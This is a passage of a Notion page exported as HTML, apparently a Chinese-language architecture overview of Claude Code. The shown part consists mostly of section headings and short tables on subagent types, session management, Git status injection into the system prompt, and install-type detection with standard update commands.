style="width:120px"><div class="notion-simple-table-cell">最高</div></td></tr></tbody></table><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-31d0f0c5b87c805eb823d1c65f19ceb9" data-id="31d0f0c5b87c805eb823d1c65f19ceb9"><span><div id="31d0f0c5b87c805eb823d1c65f19ceb9" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31d0f0c5b87c805eb823d1c65f19ceb9" title="16.2 CLAUDE.md 系统"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">16.2 CLAUDE.md 系统</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-31d0f0c5b87c8052a2c4e4150b187496" data-id="31d0f0c5b87c8052a2c4e4150b187496"><span><div id="31d0f0c5b87c8052a2c4e4150b187496" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31d0f0c5b87c8052a2c4e4150b187496" title="16.3 设置 Schema"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">16.3 设置 Schema</span></span></h4><hr class="notion-hr notion-block-31d0f0c5b87c80f2a0dbf4302df7e8de"/><h3 class="notion-h notion-h2 notion-h-indent-0 notion-block-31d0f0c5b87c80b1af11f36c531a52de" data-id="31d0f0c5b87c80b1af11f36c531a52de"><span><div id="31d0f0c5b87c80b1af11f36c531a52de" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31d0f0c5b87c80b1af11f36c531a52de" title="17. 子代理系统"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">17. 子代理系统</span></span></h3><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-31d0f0c5b87c8065b978d376c7b1a062" data-id="31d0f0c5b87c8065b978d376c7b1a062"><span><div id="31d0f0c5b87c8065b978d376c7b1a062" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31d0f0c5b87c8065b978d376c7b1a062" title="17.1 Task 工具接口"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">17.1 Task 工具接口</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-31d0f0c5b87c80c0b8d5e52639e31388" data-id="31d0f0c5b87c80c0b8d5e52639e31388"><span><div id="31d0f0c5b87c80c0b8d5e52639e31388" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31d0f0c5b87c80c0b8d5e52639e31388" title="17.2 子代理类型"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">17.2 子代理类型</span></span></h4><table class="notion-simple-table notion-block-31d0f0c5b87c801d84f9f6ff0b617a40"><tbody><tr class="notion-simple-table-row notion-simple-table-header-row notion-block-31d0f0c5b87c818f9e0bde3efd8ccc46"><td class="" style="width:120px"><div class="notion-simple-table-cell">类型</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">说明</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">启动方式</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c818fbf1bc2cae874d16f"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>general-purpose</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">通用任务</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">默认</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c811d8626edf35348dc2d"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>statusline-setup</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">状态栏配置</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">内部使用</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c8199811bc951266e3054"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>Explore</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">代码探索</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">内部使用</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c818fbf59f096170a2e54"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>Plan</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">计划生成</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">内部使用</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c8155b085db522381f154"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>ui-ux-designer</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">UI 设计</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">内部使用</div></td></tr></tbody></table><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-31d0f0c5b87c80949b1cfa32bc9ec0b1" data-id="31d0f0c5b87c80949b1cfa32bc9ec0b1"><span><div id="31d0f0c5b87c80949b1cfa32bc9ec0b1" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31d0f0c5b87c80949b1cfa32bc9ec0b1" title="17.3 子代理生命周期"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">17.3 子代理生命周期</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-31d0f0c5b87c808b88aff94fe008cb60" data-id="31d0f0c5b87c808b88aff94fe008cb60"><span><div id="31d0f0c5b87c808b88aff94fe008cb60" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31d0f0c5b87c808b88aff94fe008cb60" title="17.4 团队协作"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">17.4 团队协作</span></span></h4><hr class="notion-hr notion-block-31d0f0c5b87c80d59daee88bb2997995"/><h3 class="notion-h notion-h2 notion-h-indent-0 notion-block-31d0f0c5b87c80b7b7e4f121a891ffbf" data-id="31d0f0c5b87c80b7b7e4f121a891ffbf"><span><div id="31d0f0c5b87c80b7b7e4f121a891ffbf" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31d0f0c5b87c80b7b7e4f121a891ffbf" title="18. 会话管理"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">18. 会话管理</span></span></h3><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-31d0f0c5b87c809ba22bfbfd43cefa33" data-id="31d0f0c5b87c809ba22bfbfd43cefa33"><span><div id="31d0f0c5b87c809ba22bfbfd43cefa33" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31d0f0c5b87c809ba22bfbfd43cefa33" title="18.1 会话状态"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">18.1 会话状态</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-31d0f0c5b87c8078864bd3d02451d488" data-id="31d0f0c5b87c8078864bd3d02451d488"><span><div id="31d0f0c5b87c8078864bd3d02451d488" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31d0f0c5b87c8078864bd3d02451d488" title="18.2 会话持久化"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">18.2 会话持久化</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-31d0f0c5b87c80898ed0c086e1744d15" data-id="31d0f0c5b87c80898ed0c086e1744d15"><span><div id="31d0f0c5b87c80898ed0c086e1744d15" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31d0f0c5b87c80898ed0c086e1744d15" title="18.3 会话恢复"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">18.3 会话恢复</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-31d0f0c5b87c8063acbec99d54f99f37" data-id="31d0f0c5b87c8063acbec99d54f99f37"><span><div id="31d0f0c5b87c8063acbec99d54f99f37" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31d0f0c5b87c8063acbec99d54f99f37" title="18.4 会话清理"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">18.4 会话清理</span></span></h4><hr class="notion-hr notion-block-31d0f0c5b87c8074b0b2c8f950f2be76"/><h3 class="notion-h notion-h2 notion-h-indent-0 notion-block-31d0f0c5b87c806bb2accd16d92fa709" data-id="31d0f0c5b87c806bb2accd16d92fa709"><span><div id="31d0f0c5b87c806bb2accd16d92fa709" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31d0f0c5b87c806bb2accd16d92fa709" title="19. Git集成"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">19. Git集成</span></span></h3><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-31d0f0c5b87c808b9be6f03621ed963d" data-id="31d0f0c5b87c808b9be6f03621ed963d"><span><div id="31d0f0c5b87c808b9be6f03621ed963d" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31d0f0c5b87c808b9be6f03621ed963d" title="19.1 Git 命令集成"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">19.1 Git 命令集成</span></span></h4><table class="notion-simple-table notion-block-31d0f0c5b87c80c2a5bbd9e47c76c8e5"><tbody><tr class="notion-simple-table-row notion-simple-table-header-row notion-block-31d0f0c5b87c81d68115d8e068e35074"><td class="" style="width:120px"><div class="notion-simple-table-cell">集成点</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">功能</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c81c6b1a5f26666660cc9"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>状态注入</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">将 git branch/status 注入系统提示</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c8151b8e8dd883d900720"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>Worktree</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">支持创建和管理 git worktree</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c81c4a86ccf291d31f227"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>提交跟踪</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">跟踪 git commit 数量</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c81afa2dafd9c87a62bef"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>路径解析</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">智能解析 git 仓库路径</div></td></tr></tbody></table><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-31d0f0c5b87c80a99f7fdc26c49a96f8" data-id="31d0f0c5b87c80a99f7fdc26c49a96f8"><span><div id="31d0f0c5b87c80a99f7fdc26c49a96f8" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31d0f0c5b87c80a99f7fdc26c49a96f8" title="19.2 Worktree 支持"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">19.2 Worktree 支持</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-31d0f0c5b87c80df9b51efeedd9ff639" data-id="31d0f0c5b87c80df9b51efeedd9ff639"><span><div id="31d0f0c5b87c80df9b51efeedd9ff639" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31d0f0c5b87c80df9b51efeedd9ff639" title="19.3 Git 状态注入"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">19.3 Git 状态注入</span></span></h4><hr class="notion-hr notion-block-31d0f0c5b87c80afa706ef5d8c72db19"/><h3 class="notion-h notion-h2 notion-h-indent-0 notion-block-31d0f0c5b87c80f4bc14da9c6453b870" data-id="31d0f0c5b87c80f4bc14da9c6453b870"><span><div id="31d0f0c5b87c80f4bc14da9c6453b870" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31d0f0c5b87c80f4bc14da9c6453b870" title="20. 自动更新机制"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">20. 自动更新机制</span></span></h3><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-31d0f0c5b87c804cba6dc68f25cc5702" data-id="31d0f0c5b87c804cba6dc68f25cc5702"><span><div id="31d0f0c5b87c804cba6dc68f25cc5702" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31d0f0c5b87c804cba6dc68f25cc5702" title="20.1 更新检查"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">20.1 更新检查</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-31d0f0c5b87c8047bb0bcadaa0335eff" data-id="31d0f0c5b87c8047bb0bcadaa0335eff"><span><div id="31d0f0c5b87c8047bb0bcadaa0335eff" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31d0f0c5b87c8047bb0bcadaa0335eff" title="20.2 安装类型检测"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">20.2 安装类型检测</span></span></h4><table class="notion-simple-table notion-block-31d0f0c5b87c801eac07ea0ae3ed44e2"><tbody><tr class="notion-simple-table-row notion-simple-table-header-row notion-block-31d0f0c5b87c8103b734cee03490245a"><td class="" style="width:120px"><div class="notion-simple-table-cell">类型</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">检测方法</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">更新方式</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c8143b3d3cbecfef970ed"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>npm-local</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">package.json 存在</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">npm update</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c816dadacdcb981e04d5b"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>npm-global</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">which claude 在 npm prefix</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">npm update -g</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c8167879bc5df9b86b020"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>native</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">二进制在特定路径</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">下载新版本</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c81a3b022d9424d6d50ce"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>homebrew</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">brew list claude-code</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">brew upgrade</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c8150a11fd9634cd15991"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>development</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">.git 目录存在</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">git pull</div></td></tr></tbody></table><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-31d0f0c5b87c800f9963dc1d1a0f72ef" data-id="31d0f0c5b87c800f9963dc1d1a0f72ef"><span><div id="31d0f0c5b87c800f9963dc1d1a0f72ef" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31d0f0c5b87c800f9963dc1d1a0f72ef" title="20.3 更新通道"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">20.3 更新通道</span></span></h4><hr class="notion-hr notion-block-31d0f0c5b87c8036a37ac3107a73be1a"/><h3 class="notion-h notion-h2 notion-h-indent-0 notion-block-31d0f0c5b87c806aac40e99e8f09b934" data-id="31d0f0c5b87c806aac40e99e8f09b934"><span><div id="31d0f0c5b87c806aac40e99e8f09b934" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31d0f0c5b87c806aac40e99e8f09b934" title="21. 关键常量和配置"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">21. 关键常量和配置</span></span></h3><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-31d0f0c5b87c80398fa1df5b2b3858c7" data-id="31d0f0c5b87c80398fa1df5b2b3858c7"><span><div id="31d0f0c5b87c80398fa1df5b2b3858c7" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31d0f0c5b87c80398fa1df5b2b3858c7" title="21.1 版本信息"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">21.1 版本信息</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-31d0f0c5b87c80a5889bfcb4d9ab9796" data-id="31d0f0c5b87c80a5889bfcb4d9ab9796"><span><div id="31d0f0c5b87c80a5889bfcb4d9ab9796" class="notion-header-anchor"></div><a class="notion-hash-link" 